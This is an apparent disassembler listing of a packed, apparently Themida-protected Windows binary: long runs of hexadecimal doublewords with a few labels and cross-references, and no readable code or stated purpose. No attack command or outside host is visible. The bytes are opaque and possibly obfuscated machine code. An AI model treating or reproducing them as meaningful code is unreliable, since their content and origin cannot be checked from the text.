dd 1DC88069h, 0EACCCA17h, 5E441630h, 623C9FA4h, 0C5BCC179h
dd 25DFC5BFh, 0FDE3BD20h, 41473E43h, 0BDA16047h, 565B13FCh
dd 0B8AFB45Fh, 7BCAF60Dh, 292B0500h, 0B629767Ch, 0F4DA2C81h
dd 6B4E203Ah, 0E4C799B3h, 98C4272Ch, 0BFDAA5ACh, 2A242A00h
dd 89878C46h, 0EDDB90A3h, 9D0B0AD5h, 0CEFEDF2h, 2C594F54h
dd 0B5E28CD7h, 732B0E58h, 0E7A18759h, 0D5139BE2h, 0E21329B9h
dd 26F32F8Dh, 5E1C5434h, 29000000h, 0ACB16B4Fh, 630EC8AEh
dd 452B3B5Dh, 3CE79F84h, 16FAD437h, 9C13565Ch, 8829BAA0h
dd 66A4FA57h, 915434EAh, 1, 8C442BDBh, 0EAA28987h, 3FFEE7E5h
dd 0A69DA25Ah, 4E83F6FBh, 0AFC0A7F1h, 0C6A942EFh, 0E12090Eh
dd 9CBFE7D8h, 29BA6A15h, 0B8630E61h, 25E6CC9Eh, 0C2DC8741h
dd 8F492BC8h, 0EDA58C8Ah, 734D80E8h, 4224D68Eh, 868C8388h
dd 886ABC11h, 0FCE2B4CEh, 9A9F593Bh, 7E1F8A3h, 1360661Eh
dd 73783015h, 359B617h, 5434E8D7h, 0A6674B25h, 0A0106C0h
dd 5D635A5Fh, 70D9h, 492B2300h, 10203636h, 0E5C7277Bh
dd 842F262Bh, 0F1D6D4D9h, 5707AACDh, 1C6F29BAh, 0C4F96C71h
dd 813B1D6Fh, 0F9B39567h, 550DF6F4h, 0B56D5250h, 17CFB2B0h
dd 0C61AA12h, 0F350B1C1h, 34A2719Dh, 5C9A54h, 7BA70000h
dd 51BF633h, 6A8C92EEh, 8A8F492Bh, 0DAF1A98Ch, 0A139789Bh
dd 0F24529BAh, 0CE6D9FECh, 545911F4h, 8DE2575Dh, 859F593Bh
dd 8C442B8Bh, 0FDE04975h, 3010A58Ah, 1896DD2Ah, 0C29BA99h
dd 0FA2886DBh, 3A5434E2h, 0B9F38F0Eh, 959B1A18h, 911h
dd 60441E00h, 5500B89Fh, 462B2D4Fh, 1538778Eh, 29BAA09Ch
dd 3C898FE2h, 999E583Eh, 0E5608CA3h, 545D8017h, 2A29BA48h
dd 0FC85D3D7h, 0B36B5002h, 91DB38ADh, 0AEDAF4ACh, 8BAEC562h
dd 2E5A1BDFh, 0C3C1C619h, 370923DDh, 0A6809751h, 0A0106C0h
dd 3F70B704h, 2821DA1Ch, 0E12B5D89h, 46124A43h, 0F5FBA660h
dd 0F3D92380h, 0E6914932h, 114FACCh, 7FC35A9Bh, 989D480Bh
dd 0F5FAB49Ah, 9E805A8Dh, 7AACDE4h, 6F21D9D0h, 4CA1161Ch
dd 435A14FAh, 0C9CE8669h, 8C6ACCD2h, 53D43B5Eh, 15E79h
dd 24478600h, 21D9C38Dh, 6E9096E9h, 0D9F04FD1h, 5A8720B6h
dd 573C962Eh, 0F1EFF49Fh, 6537510Bh, 0C2C0C57Fh, 0B51D22DCh
dd 0DFC5176Ch, 95D40B25h, 0DA7B3F72h, 0FBDD3721h, 9A453C41h
dd 50523696h, 0D9DF5EE8h, 0D46497D3h, 75C053h, 0C60A0000h
dd 484E08ECh, 0F9102DF4h, 0BF0CB7CDh, 0F5FBDDB4h, 0F5185796h
dd 29BA8DBCh, 0D1E003C2h, 0AD29BA8Dh, 66A9AF5Ah, 56454B6Bh
dd 5EDB27D3h, 96F80113h, 15FAD4EBh, 0C30A575Dh, 0A9BB20EEh
dd 70CC4ADh, 78612009h, 121015C0h, 7970752Dh, 6DBF145Dh
dd 0D3CACF89h, 2A874828h, 839A9B86h, 45DE7160h, 607ACDD6h
dd 5189FD29h, 0EBC95A1h, 9DDE08h, 0D1740000h, 0FFD9F04Fh
dd 0FE5D631Dh, 5AA4BFDBh, 6166B92Eh, 0A9C37D63h, 3237F1D7h
dd 0DA9CE1EBh, 0E09A7C21h, 3EF6DDDBh, 9A523B39h, 236EC3F0h
dd 205F9E3Dh, 0DA9CB4FDh, 7C77CA21h, 21DA9D35h, 73E8EE41h
dd 2CE6CC1Eh, 0FD3AE612h, 1C9FC3E6h, 86D92672h, 61441E81h
dd 1E41A4A9h, 29B21C93h, 0E7ED98EBh, 0BEE107EDh, 29B21CF3h
dd 0FE21388Bh, 29B21CB3h, 0C8CD78CBh, 0A448A5D2h, 0CEA8BF7Ch
dd 0CC2B31E9h, 13CDB38Dh, 9C98CA0Dh, 84DE2E49h, 7FE2E79Fh
dd 0DA9D555Ch, 23CE2121h, 0D1645E78h, 0A922974Fh, 9C1D924Ch
dd 9557B629h, 0B45F0A20h, 9F845E9Dh, 9B69618Eh, 3BE60661h
dd 2270F235h, 93E62E51h, 97AA908Eh, 36259EE9h, 41EC9CFh
dd 8E09A1CDh, 0EA7DA931h, 4A04EAE4h, 0BC13FE45h, 0E61B0A2Ah
dd 98593F89h, 0FCF3F8B2h, 7A603A51h, 0BEC4BBC0h, 0EAA48A5Ch
dd 0C4A882E5h, 0BB661E03h, 666C2409h, 0DBC4836Ch, 7C271E23h
dd 0FF548177h, 0F30DC7ADh, 967A3B21h, 35E0D7DCh, 30230h
dd 24980000h, 89432B66h, 0E6A08684h, 4800E3E1h, 0A7614543h
dd 8C2A4A2h, 69230503h, 0C57D6664h, 25DDC2C0h, 833B2220h
dd 54526D7Eh, 4C2815Ah, 83000000h, 148704EAh, 0EE685C24h
dd 89000017h, 90682414h, 89000054h, 0BF57240Ch, 65292B85h
dd 0ABE8F781h, 0FA8962C1h, 4EC815Fh, 89000000h, 4812424h
dd 424h, 0EC835900h, 24148904h, 8B08418Fh, 8952240Ch, 4C281E2h
dd 81000000h, 4C2h, 24148700h, 2434FF5Ch, 4C4835Ah, 0F7FB52E9h
dd 0B096C0FFh, 0B150DE9Ch, 0E8851EB8h, 0FFC50307h, 35FB01E0h
dd 208F131Bh, 0E14EDC5Ch, 50B7FA07h, 498D8D0Ch
db 86h, 0E8h, 7
byte_5D4D5B db 0Fh ; DATA XREF: ___:off_43DCA8o
; ___:off_43DCBCo
dd 8D89C7BFh, 7E01815h, 13F5B589h
aREiRXb db 'à',7,'Ç…I à',7,'xb',0 ; DATA XREF: Themida_:0055D91Eo
align 4
dd 0FE9h, 0B7A77B00h, 0BEC7C1FDh, 77EFD7BEh, 0E6A43D4Dh
dd 22C585C7h, 7E0h, 8E0F0000h, 21h, 0F9D8BE60h, 14E810A6h
dd 3B000000h, 55AD6B2h, 2ADA4456h, 1567D184h, 0E1577E57h
dd 58A54B4Eh, 0A1B5FF61h, 8B07E007h, 0E02FF185h, 9195FF07h
dd 6A07E020h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 1CAAC350h, 0FA85CFA9h, 6A3D95h
dd 18A995FFh, 0C08B07E0h, 579D1BEBh, 1D3FB9B6h, 420EDFA2h
dd 6C9563D7h, 8CF8EA20h, 819151A8h, 0F69BB0EBh, 10EBCCh
dd 3 dup(0)
dd 8B000000h, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1804h, 0C3504000h, 89E48D74h, 0BD83FC53h, 7E006B1h
dd 83097500h, 0E001C5BDh, 19740007h, 0C08B5350h, 42DB8h
dd 0F5858900h, 8D07E020h, 0E2BC629Dh, 5BD3FF07h, 0C5BD8358h
dd 7E001h, 53501774h, 42DB8h, 0F5858900h, 8D07E020h, 0E2B9519Dh
dd 5BD3FF07h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 68B0FF2h, 8B000000h, 0E01C95B5h
dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h
dd 0C3564600h, 353CA2E8h, 8BF877CAh, 55006AC0h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0F9DE9706h
dd 0BFB3D5BAh, 0F3B70F00h, 2CD98D8Bh, 6A07E0h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 0F618C3C3h, 2B07B1D3h, 0E02891B5h, 0F98307h, 7C840Fh
dd 9D890000h, 7E000ADh, 2C3D8B64h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
dd 4FBEC355h, 8BB78012h, 0E01555B5h, 3810F07h, 0F000000h
dd 0FF0BF0B7h, 38840Fh, 29500000h, 0E034759Dh, 3F8B5A07h
dd 8B0Fh, 14E90000h, 1C000000h, 0B8B18A9Ch, 1591DD22h
dd 82DBF451h, 73CC1849h, 32678A42h, 8D8BBAC0h, 0AAF333DEh
dd 2CE9958Bh, 493507E0h, 0BA535041h, 62FA7B19h, 75985C6h
dd 6A4707E0h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1A042444h, 45000000h, 2445C355h, 9E241E3Fh, 13E9B1h
dd 0E5610000h, 4462B871h, 10BF38B6h, 85192A01h, 0A880FDC4h
dd 0E8D5B205h, 4, 0DCD6882Ch, 90BABA66h, 24448B50h, 48B0F04h
dd 66000000h, 8BEFF2BEh, 4FB8BE00h, 44896EA7h, 52500424h
dd 4FB5BF60h, 5E521F9Ch, 66310F61h, 585AF38Bh, 0AE858h
dd 0B9720000h, 0C4FDA033h, 8EAC4235h, 0BE9h, 56D3ED00h
dd 3805EEAh, 56E5F46Bh, 2DB5FF5Eh, 6A07E029h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 1320C351h, 48DA32CDh, 0D8B71C58h, 1341B589h, 858D07E0h
dd 7E37FE8h, 0FFD7BF0Fh, 0F28166D0h, 5E9BE9Bh, 16000000h
dd 67A18952h, 2C758589h, 0F78B07E0h, 75985C6h, 6A5307E0h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h
dd 41000000h, 78F1C351h, 950B360Bh, 7E01455h, 0BFA49268h
dd 0F38B6625h, 6A240481h, 962D8C6h, 0E0342585h, 2DB5FF07h
dd 0F907E029h, 7FE8858Dh, 0EE8107E3h, 76BCB818h, 8589D0FFh
dd 7E0344Dh, 48AD858Dh, 8A0F07E3h, 6, 8E2AC281h, 85892BF0h
dd 7E007E1h, 14E9h, 0E1E51100h, 0F09D6ACCh, 0DC55EBA4h
dd 2F884F14h, 53EB7AA8h, 6A206A87h, 0E195FFFFh, 3507E007h
dd 53504149h, 155185C7h, 107E0h, 85C70000h, 7E007A9h, 0
dd 143DB58Bh, 0BE6607E0h, 8B665E17h, 15858BD0h, 8907E016h
dd 0E01BC5B5h, 0A36407h, 0F000000h, 68Bh, 0C9B58B00h, 8307E025h
dd 0E02FF5BDh, 840F0007h, 19h, 154DBD89h, 858B07E0h, 7E02B71h
dd 1CD9589h, 0E08B07E0h, 8A137ABEh, 0A9BD834Fh, 7E01Ch
dd 412850Fh, 9D890000h, 7E023B1h, 75985C6h, 895607E0h
dd 0E028F985h, 4E807h, 30DF0000h, 9E9A9C5h, 0CE000000h
dd 4182A327h, 7A6574Dh, 9E850h, 91E80000h, 7B8CF9FAh, 0E9668441h
dd 0Bh, 5B4B4C5h, 0BEC29100h, 5E9A6AF3h, 424448Bh, 51C58DBAh
dd 66008B77h, 4489D18Bh, 0BA660424h, 0FF589E5Ch, 0E0292DB5h
dd 8DF38B07h, 0E37FE885h, 56006A07h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0CD952386h
dd 0FF07E000h, 82BA66D0h, 0E9509062h, 13h, 0ABB7801h, 98891BD7h
dd 0B338BA3Eh, 0A8B530C7h, 90B6B160h, 7558589h, 8D8D07E0h
dd 7E00585h, 2CFE60BAh, 0BA665045h, 0C89ECD0h, 56006A24h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 7DB86224h, 0F86F09DAh, 6060B2DBh, 18F780FCh, 0E9046A61h
dd 0Ch, 497FD651h, 5B5DFFF3h, 51A93604h, 17573768h, 10E9DDh
dd 8C2D0000h, 0C960904Fh, 0F318F69Fh, 0F08BB39Ch, 481C082h
dd 0E8B8C924h, 55006A22h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1D04h, 0C3554500h, 13E63261h, 0D449963Bh
dd 0FFF506CFh, 0E00465B5h, 0F2BF0F07h, 0EB2D0FFh, 465BD8Bh
dd 890F07E0h, 6, 739B58Bh, 7F0307E0h, 6A54BA3Ch, 0C7813F2Eh
dd 0F8h, 30E9B58Bh, 47C707E0h, 2024h, 0D0B70F60h, 0E2DABA66h
dd 866BBD83h, 0F0007E8h, 1CD84h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0CF306183h
dd 1705B58Bh, 0C78307E0h, 52006A28h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 69383034h
dd 12EB5B3Ah, 0B58B52E4h, 7E028EDh, 68F0F5Ah, 81000000h
dd 0C78F85E6h, 2E07C725h, 8B64696Ah, 0E0197DB5h, 447C707h
dd 617461h, 858BD18Bh, 7E88673h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 1BC35040h, 0C4789FDh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 83C35343h, 7C333597h
dd 0BCC6E63Fh, 0EE828h, 0D12A0000h, 480D736Dh, 1E3F2445h
dd 64B19E24h, 6928BE66h, 1D9D895Eh, 8B07E030h, 0E8867785h
dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h
dd 0C3534300h, 1463486Bh, 0FD1B70Fh, 4789D0BFh, 8D952908h
dd 8307E030h, 6A28C7h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 55C73EC3h, 5D9D09D0h, 0C707E023h
dd 6F632E07h, 7D85296Eh, 0C707E010h, 69660447h, 0B58B0067h
dd 7E02021h, 866F858Bh, 9D3107E8h, 7E01469h, 6A0C4789h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 2338C357h, 824B5D2Fh, 89558659h, 0E02C9DBDh
dd 6B858B07h, 0F07E886h, 68Eh, 218D8900h, 8B07E033h, 0E020A195h
dd 8478907h, 13E8h, 4149BD00h, 5BDB5BCAh, 26BE1EAh, 0DAF1B56Bh
dd 0FCD986D5h, 0F5EF28Bh, 586h, 0CA816600h, 6058D1C5h
dd 6F19D23h, 895307E0h, 0E0069D95h, 8D615B07h, 0E001FD8Dh
dd 6E907h, 848F0000h, 0A9F29C24h, 0DE9h, 79B86E00h, 0B47A0381h
dd 0C3A14D33h, 5250C260h, 0C890Fh, 7E90000h, 0BD000000h
dd 181885E5h, 895ABE35h, 0FFF5240Ch, 0E00585B5h, 5860F07h
dd 66000000h, 3B44D681h, 0D12C3F68h, 4BBE66E6h, 2404815Eh
dd 192EE3C1h, 0B5FFC4B2h, 7E00465h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 15h, 23C35747h, 0D95011Eh, 6607E024h
dd 83C6D681h, 0C681D0FFh, 1C23F84Fh, 0B8h, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 0BFC06EBh, 24840FC0h, 8B000000h, 0E0194DB5h, 1B5FF07h
dd 0F07E01Ch, 682h, 0C5958B00h, 0FF07E02Fh, 0E0209195h
dd 11958B07h, 8B07E00Eh, 0EE8C0h, 0D74F0000h, 13053C6h
dd 0EE524D4Ah, 64BA9230h, 19B58Bh, 835E07E0h, 0E006B1BDh
dd 9750007h, 1C5BD83h, 740007E0h, 8B535019h, 42DB8C0h
dd 85890000h, 7E02399h, 0BCC99D8Dh, 0D3FF07E2h, 0BD83585Bh
dd 7E001C5h, 50177400h, 42DB853h, 85890000h, 7E02399h
dd 0B96A9D8Dh, 0D3FF07E2h, 6A585Bh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 140424h, 53430000h, 858923C3h
dd 7E001F9h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1D0424h, 56460000h, 0EE8929C3h, 247F1B1Dh, 8A0F6E69h
dd 519589F7h, 8B07E02Ch, 0E98D8DC0h, 8B07E88Fh, 0E0076185h
dd 158D8907h, 6A07E018h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 19D2C355h, 4595899Dh
dd 0C707E007h, 0E0204985h, 684007h, 8A0F00h, 0C7000000h
dd 0E022C585h, 7, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1D04h, 0C3574700h, 0D85BD110h, 4AC2E5E8h
dd 0B5FFA6C0h, 7E01261h, 0D68166FCh, 95FFE226h, 7E02091h
dd 7E9h, 98B35B00h, 0ACC8138h, 18850Fh, 13E90000h, 88000000h
dd 0F38389B4h, 0CFD19C19h, 135270BDh, 0C600A4E7h, 6A40A6h
dd 18A995FFh, 0C08B07E0h, 138438EBh, 886214D1h, 31D0B5E8h
dd 17492BD5h, 0F615A49Ah, 43945E96h, 0D1239AB4h, 1D17684h
dd 4D03A219h, 9D9042F1h, 0EA12E9EEh, 0A143AFB2h, 14FB1B59h
dd 0A0F17B5Ch, 8D8DFE0Bh, 7E890ECh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 80C35242h, 519AA68h, 6E119693h
dd 0DF805747h, 8D895B7Eh, 7E01815h, 204985C7h, 648007E0h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
dd 57470000h, 21E180C3h, 40D2C97Dh, 0BE9h, 0F88E9700h
dd 0EB9789F0h, 0EB7E837Eh, 9CD68166h, 0C585C7E0h, 7E022h
dd 0B000000h, 0E0014985h, 0C5B5FF07h, 6A07E023h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 0E228C351h, 2911BD01h, 95FF07E0h, 7E02091h, 89FEB70Fh
dd 0E013959Dh, 0FF006A07h, 0E018A995h, 0EBC08B07h, 17DBC71Ch
dd 7BF80F0Ch, 2377456Dh, 8A8D6ADCh, 0CC8F8998h, 94F39058h
dd 4D2DC2C6h, 0CE86Bh, 0D2270000h, 733E83BEh, 9B134694h
dd 840F2B0Bh, 0Ch, 0DFBB6660h, 8F0F95h, 61000000h, 0A995895Fh
dd 8107E011h, 6F35C7h, 0B8666000h, 0B9616EBDh, 1690EB92h
dd 0F00CF181h, 17B81690h, 8B0A2460h, 9DBA6637h, 49EE81B1h
dd 8B2DBBA0h, 0E0059595h, 1EC68107h, 8A5BDB6Ah, 8EC681F1h
dd 0B211635Dh, 8A3789F6h, 2AEF81FDh, 8961AD43h, 0E025D58Dh
dd 26C78107h, 6661AD43h, 832353BAh, 850F01E9h, 19h, 30659529h
dd 30E907E0h, 0D000000h, 0A970BA46h, 0F63721DBh, 3A7CC040h
dd 0AE870h, 0A1BC0000h
dd 94F7199Ch, 0E20B0CAh, 28F0Fh, 0C28B0000h, 0FF85E958h
dd 0DE9DFFFFh, 0E9C4C9E7h, 2Fh, 25A5300h, 0Ah dup(0)
dd 0E9000000h, 588h, 7B954F37h, 0F00AC2A9h, 6781391Eh
dd 0DAF4AC95h, 526C2608h, 7D5FD4FDh, 0F3D7A9C3h, 6A4D1F39h
dd 0E0C698B2h, 412C0C26h, 0D20E931Eh, 0A279EB21h, 8ED4E5C8h
dd 19CBC0ACh, 0AB0E13BEh, 0D1C92988h, 57025521h, 0ECC62F51h
dd 0B39C4E08h, 15FBF5FBh, 846A445Bh, 7D28E0C3h, 2E7B8178h
dd 520AF1CBh, 0B670524Ch, 23E4CA9Ch, 0D7DC8741h, 3439F3D9h
dd 0ED13F7D1h, 0BAA0E7CAh, 913C8F29h, 958F958Ch, 0F3F1F6AEh
dd 0E9C8EB11h, 9529BAA0h, 94929742h, 0C8F4F9B1h, 4067AA07h
dd 7E64B60Bh, 0F5D8AAC4h, 6E51233Dh, 21609FB6h, 0BAA0B3FEh
dd 7D78CB29h, 29BAA134h, 0A4F1F74Ah, 0C67E6741h, 0CFE2C6C0h
dd 0DAEF2947h, 6B822D65h, 0B46E522Ch, 0B9E3F8B9h, 252B7E29h
dd 3FF7DAD8h, 9E583C3Ah, 9F0A299h, 29564C51h, 0C8DF89D4h
dd 484E08EEh, 492C7ED3h, 0B0E3D38h, 721D44BAh, 7AA08658h
dd 0BA955A57h, 26D12429h, 954F350Fh, 424800E3h, 9500AEF5h
dd 0F32429BAh, 0E602409Eh, 78525434h, 0DED5DA94h, 6354D8h
dd 2B9E0000h, 3F868B45h, 29BAA170h, 0D02E83B4h, 5434EA92h
dd 652608E2h, 1419C47Ch, 95238EB1h, 85B29BAh, 1D3575Dh
dd 1D000000h, 9E85442Bh, 38363BE6h, 31949951h, 0DF7CE705h
dd 3A4061BFh, 889F5740h, 0B10CAAEh, 4EC10E14h, 8B72C419h
dd 9790BCD3h, 1FF3A18Ah, 0E51C7E84h, 676D270Bh, 0B3CD876Dh
dd 8F492BB9h, 0C5E8278Ah, 29BAA0ECh, 9C563892h, 0EFF5A097h
dd 51560EF5h, 0FADCB6E9h, 92443B40h, 76EBF1A9h, 82B6A19h
dd 29BAA0A9h, 0E93429D5h, 31F1EE06h, 0A4868086h, 0D53BD591h
dd 0B9645E63h, 2DE7CD9Fh, 34452A28h, 6DA5969Bh, 573CEE6Dh
dd 93EFF49Fh, 4C26DD32h, 0AFA6AB63h, 4B77A3A9h, 84A05434h
dd 0EA000000h, 4D6487C6h, 4E29BAA1h, 88DBB26Ch, 0ECA68882h
dd 3E7396D5h, 3829BAA1h, 9742FCDEh, 61464491h, 0D4B892A9h
dd 54C7141Ah, 9678C21Fh, 6386C5DCh, 29BAA14Eh, 6DCFD528h
dd 12F8B99Bh, 0BC96AD58h, 0CD1A20DAh, 292EE6CFh, 0B9176CCDh
dd 5434E89Dh, 0E2F1AFDBh, 0EBEE984Dh, 5D61E5h, 2BAB0000h
dd 39788F49h, 0BAA09B16h, 1D37E329h, 0EC2F29ECh, 5AA7AD58h
dd 0BCC1795Ch, 2E78D58Ah, 0EEA68B4Ch, 0C62F2943h, 4B500AECh
dd 0F6525054h, 7C2A0DECh, 84957C76h, 1F61EE6Fh, 0F8FDA836h
dd 0B9BAFDB1h, 9BF82929h, 340C1945h, 997D5754h, 0A3FEDBDFh
dd 591AF690h, 1CF53h, 0C6190000h, 0F05D8C9Ah, 564D520Ch
dd 6E1C6B52h, 0D1896E68h, 2EE8CECCh, 0A9063329h, 0A8C27A5Fh
dd 8097947Ch, 0C7816741h, 3719CBC2h, 7B81787Dh, 5A4B3238h
dd 4259AC2Eh, 0C1C77F68h, 0CF907674h, 8F472AEBh, 0E81F39E4h
dd 32EACFA9h, 763B362Dh, 21DA4Bh, 4B931E41h, 98EB21DAh
dd 7EDE7EDh, 0AE01484Dh, 0BD21DA4Bh, 7B61AB08h, 0EFD5A7C1h
dd 4C323035h, 45F0A88Bh, 328FD840h, 1C0A983h, 6A61661Eh
dd 0BDC3BABFh, 923DDC3h, 0D4BFFF2Bh, 8E113D53h, 0D17FC032h
dd 0FFFEB3D6h, 257821D9h, 2FF0747Ah, 3A000001h, 0D9F04FD1h
dd 0A13A779Ah, 0F14429BAh, 6D698CEBh, 0CB2E5A87h, 8F757378h
dd 0FEE4BED5h, 0ADC3E44h, 67656A24h, 23DBC081h, 0FF226178h
dd 21DA7AB2h, 7B520AF1h, 0E43A2428h, 447E4564h, 4089F13Eh
dd 0F2B399E3h, 5A515610h, 8BB795AFh, 0A453D459h, 4Bh, 624F72B1h
dd 1C21D9E2h, 793317C9h, 55777D74h, 0D8EF4ED1h, 455E1CB5h
dd 4A4FA256h, 0BAA1AE03h, 0A1FEBFA9h, 702F18F2h, 0D3CACF87h
dd 262C2328h, 0D7EE4FD2h, 455F1DB4h, 2F4699D6h, 4C6D1203h
dd 212727A0h, 90BDBFh, 0D1530000h, 0B6D9F04Fh, 2E5AA4E4h
dd 0A35B401Ah, 99183B9Eh, 0E521DA9Ch, 0C2E1E792h, 866C6A6Fh
dd 0DA03D473h, 8061F1CFh, 2D0F13EDh, 0ED07B2B4h, 767B351Bh
dd 0DA239D2Fh, 0F24F0421h, 0EE08C2A8h, 6C885EC2h, 0A0CB5AEDh
dd 75654D75h, 43EEC8ADh, 0EBF0A891h, 0F33249F4h, 0F1B075C7h
dd 8086D41Dh, 722BA83Dh, 748BDE26h, 0F4F9B19Ah, 0ACAAF7FDh
dd 11070CC6h, 3DE38FE4h, 85A8E7FEh, 29B20D2Ch, 0D3D89077h
dd 0ACB205DCh, 9BBB2A4Dh, 0E83B2E49h, 4FD1D4CEh, 1BFFD9F0h
dd 61655C61h, 47A201F8h, 5DBCC2FBh, 51ECAB3Ah, 0D3D82B2Eh
dd 1B35EFD5h, 0A4A96349h, 1F93915Dh, 0D629724h, 11BD5BBh
dd 49688BCAh, 3527608Bh, 0FCE2DCE2h, 969B553Bh, 0F1EFF49Fh
dd 0AC644908h, 0D906FC01h, 924C3284h, 1BBA17Bh, 9DFF05FCh
dd 262BE5CBh, 3F8h, 66248E00h, 8489432Bh, 0E1E6A086h, 434800E3h
dd 0A2A76145h, 308C2A4h, 64692305h, 0C0C57D66h, 2025DDC2h
dd 7E833B22h, 399D686Dh, 1C890000h, 6CCF6824h, 3C890000h
dd 4EC8324h, 0BF241489h, 57962F16h, 2B97CF81h, 0F7812779h
dd 2F2F0774h, 2414F757h, 0E5CF815Fh, 812A9258h, 3D4A41E7h
dd 0CBC78110h, 6807AB47h, 74Eh, 83242489h, 5A042404h, 6A5268h
dd 243C8900h, 8B08428Fh, 89502414h, 405E0h, 4050000h, 87000000h
dd 0FF5C2404h, 835F2434h, 54E904C4h, 82FFF7E9h, 62B61EC1h
dd 1B229662h, 0A663D26Ah, 0E89711B8h, 0FFC50307h, 1C8112E0h
dd 4596B968h, 0EBD71358h, 6E26B462h, 9BFF2A48h, 8EA9DE35h
dd 0A1859647h, 2E8DB663h, 0F271EA26h, 0EA8D8D43h, 6A07E898h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h
dd 46000000h, 0E8E1C356h, 0BD8BB6C4h, 7E01FEDh, 18158D89h
dd 6A07E0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
dd 55450000h, 1FCB39C3h, 1C39444Bh, 0BF6D9AC6h, 4E77E539h
dd 204985C7h, 644007E0h, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 0A76703C3h, 22C585C7h
dd 7E0h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 2A0B0CC3h, 8480C98Bh, 0C58D8977h
dd 0F07E031h, 1182h, 9E800h, 58F30000h, 38FBFF61h, 606E458Ah
dd 0B5FF5A61h, 7E004A9h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Bh, 83C35646h, 0D59DB01h, 292869C6h, 0E023958Dh
dd 9195FF07h, 6A07E020h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 94C5C351h, 6A0D9980h
dd 0A995FF00h, 8B07E018h, 9A5EEBC0h, 0F4AFBE1h, 361B0E56h
dd 90244816h, 0AA7A31AFh, 5269C073h, 99264FF2h, 92881C7Bh
dd 0D49D6662h, 0E15EED33h, 0D794C217h, 3628ADF5h, 1C6F5h
dd 4DA24BBDh, 0D11C73Ah, 0AFEB768Eh, 0CA63A22h, 1252496Ch
dd 7A721CA5h, 4EA00E6Dh, 65A4EAD4h, 7E14CD15h, 281E1B76h
dd 0A7459D31h, 5E811h, 24260000h, 5816FF66h, 2AA19531h
dd 0C08107E0h, 71A4h, 0FE9h, 44A7F200h, 0F0E5A6E5h, 1181F75Ch
dd 0B13F7DA7h, 0BFh, 6E800h, 46840000h, 0F0404683h, 10458D0Bh
dd 0FF5907E0h, 8D8B0734h, 7E031A5h, 45B5315Ah, 8107E00Fh
dd 0BC822AF2h, 6E80Ch, 0D7820000h, 0AD8EB2A3h, 1E718D8Bh
dd 815E07E0h, 0B5225C2h, 81C88A33h, 63AB2C2h, 598D8B1Eh
dd 5207E01Ah, 23698589h, 48F07E0h, 0E8F18B38h, 13h, 5DFA7D98h
dd 0DDFC58A8h, 44656D9Bh, 5403DB23h, 89A3677Fh, 0E00F5585h
dd 0EF815B07h, 5477D454h, 0AE9h, 24F01D00h
dd 31B65FB8h, 816AF0C3h, 77D450C7h, 0CE854h, 97BA0000h
dd 0A083C8E2h, 0CBB5E5ADh, 72BE62EBh, 591E3361h, 8F40FF81h
dd 850FFFFFh, 0FFFFFF5Bh, 22C18D29h, 0EB07E0h, 418E9h
dd 0CA846C00h, 3FF7DEB0h, 0B66E5325h, 29E1CA9Ch, 0A15B3D0Fh
dd 94893287h, 0CDEF8B2h, 82546E28h, 0FBCDE79Fh, 61415B15h
dd 75E5376h, 0A61821D2h, 33442B0Ch, 210AB576h, 1A426569h
dd 0DFBB6D9h, 308329BAh, 0E9C3DA85h, 0A65E4504h, 5C93F5FBh
dd 0DB7FA1Dh, 6CBF29BAh, 0CF876C66h, 42FAE3B5h, 0B66E512Bh
dd 52B4BAB1h, 0B08B9E80h, 3478BE28h, 2A69802Bh, 0D954EFFEh
dd 69646A63h, 29BA8A48h, 73D5DB2Eh, 63B0103Ch, 0A9F826CEh
dd 6C7A9A3h, 0A8BF6A24h, 0D1C8FF7Ch, 50B3A88h, 33EDD1A3h
dd 1F08E219h, 84676167h, 0FAE0B2CCh, 15EF2640h, 845B1B2Ch
